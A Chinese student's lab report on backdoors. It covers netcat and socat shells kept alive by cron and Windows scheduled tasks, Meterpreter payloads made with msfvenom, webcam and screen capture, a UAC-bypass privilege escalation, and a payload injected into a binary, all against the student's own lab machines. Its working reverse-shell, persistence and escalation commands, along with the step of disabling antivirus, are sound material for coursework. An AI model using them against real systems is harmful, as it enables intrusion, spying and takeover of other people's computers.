《网络对抗》Exp2 后门原理与实践
1.基础问题回答
(1) 例举你能想到的一个后门进入到你系统中的可能方式?
下载程序中夹带,网页中有木马等等
(2) 例举你知道的后门如何启动起来(win及linux)的方式?
- windows:
任务计划
自启动项
后门嵌入正常程序,随正常程序启动而启动- Linux:
cron计划
反弹式shell
添加特权用户
修改某些重要文件,随之启动
(3) Meterpreter有哪些给你映像深刻的功能?
可以生成后门程序
远程连接后,可以直接获取键盘、鼠标等IO设备控制权
可以在已经连接后,使用其他模块进行提权
(4) 如何发现自己有系统有没有被安装后门?
重要是任务计划,自启动项以及注册表键值
2.实验总结与体会
这次使用了msf平台,模拟了植入后门、远程控制以及提权的过程,而当我用虚拟机把主机成功提权后,直观感受到我们的计算机有漏洞,而且可以被攻击,且能够攻击成功,计算机安全确实不容忽视,这也是以后学习的目标。另外,这个过程还是有些曲折的,比如前面cron计划,开始打算直接在主机cmd里编辑,将命令写入文件,但发现不行,参考学长学姐的是先在kali里设好了命令,在主机里执行的,我觉得就有问题,所以我先放下,做了一次在kali里设好cron任务,然后往后做,然后在网上偶然搜到了,用命令可以直接设置cron任务,这就是一个坚持反复探索的过程。
3.实践过程记录
3.1使用netcat获取主机操作Shell,cron启动
3.1.1 获取IP
Windows IP: cmd下
ipconfig
3.1.2 使用nc
Windows下,使用nc,为了方便最好设置一个环境变量,如:
我的电脑>属性>高级系统设置>环境变量>系统变量>path>添加一条路径,再确定就好(我的nc.exe就在E:/netcat/目录下)
-
Windows 监听
nc -l -p 8888
-
kali获取IP并连接
ifconfig nc 192.168.0.107[:主机Windows的IP] 8888[:主机Windows监听的端口] -e /bin/sh
- Widows 获取shell成功:
-
kali查看并清除原来cron任务
crontab -l crontab -r
- windows下直接设置cron任务完成启动失败:
windows下用vi编辑文件为乱码,在cmd里乱码无法编辑,修改编码后(
chcp 65001
),仍然是乱码,kali查看编码echo $LANG
即使多次尝试修改编码也无效,无法修改,无法保存,无法退出
linux下退出后,查看cron的结果,然后又找到可以直接用命令设置任务
失败的原因:应该是kali先开启cron,并且已经设置了一个任务,然后那条命令才有一定权限运行,因为cron启动是需要权限的,所以应该是kali已经启动了并设置了任务,然后查看cron是否运行,然后在Windows里查看是否连接成功
3.1.3解决Windows命令行用vi编辑时乱码且无法修改的问题
用命令设置kali cron任务(前提:必须在kali里先启动并设置了cron一个任务)
crontab -l > conf && echo "*/1* * * * * nc 192.168.0.107 8888 -e /bin/sh" > conf && crontab conf && rm -f conf
成功:
3.2使用socat获取主机操作Shell, 任务计划启动
-
连接
socat tcp-l:8888 exec:cmd,pty socat - tcp:192.168.0.111
- 设置编码
chcp 65001
-
用cmd命令设置Windows任务计划并验证
schtasks /create /sc daily /tn "task 3" /tr "cmd.exe /c socat tcp-l:8888 exec:cmd,pty" /st 22:17
这样,连接后,kali可以直接在cmd里输入命令,设置任务计划,指定时间执行就可以随意实施远程控制
3.3使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell
-
生成后门程序
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.0.111 LPORT=7000 -f exe > meter_backdoor.exe
- 关闭被攻击机(即Windows主机)的杀毒软件,一个是我安装的QQ管家,一个是Windows自带的Defender。这是为了防止后门程序不被杀软直接删除。
-
启动msfconsole,然后设置攻击模块,payload,本地IP和端口(这些是为了和后门程序一致),然后监听
# >msfconsole # >use exploit/multi/handler # >set payload windows/meterpreter/reverse_tcp # >set LHOST 192.168.0.111 # >set LPORT 7000 # > exploit
- 获取shell
当连接建立后直接通过命令
shell
,就可以直接获取shell
3.4使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权
建立连接后,通过命令help
,可以发现很多可以再目标主机上干的事
- 屏幕截屏
screenshot
- 同步获取桌面
screenshare
,运行后会打开Firefox,通过网页可以直接看到主机桌面的内容
- 获取摄像头,拍一张照
webcam_snap
- 提权
getsystem
失败
-
通过其他模块攻击提权
# >background # >use exploit/windows/local/bypassuac_fodhelper # >set session 2 # >exploit # >getsystem
自己成功的提权的模块 bypassuac_fodhelper
search bypassuac
,查找绕过uac的攻击,然后一个一个试或者参考别人的博客(我参考的)
- 重新进行一次攻击
session要与前面的那次连接绑定
成功提权
3.5使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell
思路:用msf给pwn注入payload,使用nc,主机监听端口,再用kali连接同时执行生成的elf文件,再用cmd监听与elf一致的端口,从而反链获取shell(类似同3.1)
-
使用msf将payload注入pwn中
msfvenom -p linux/x86/shell/reverse_tcp -x ./pwn20181324 LHOST=192.168.0.107 LPORT=7000 -f elf > pwn_backdoor.elf
-
使用nc连接验证
nc -l -p 8888 -v nc -l -p 7000 -v nc 192.168.0.107 8888 -v -e ./pwn_backdoor.elf
连接已经建立,但是没能真获取到shell,使用一个命令就已经报错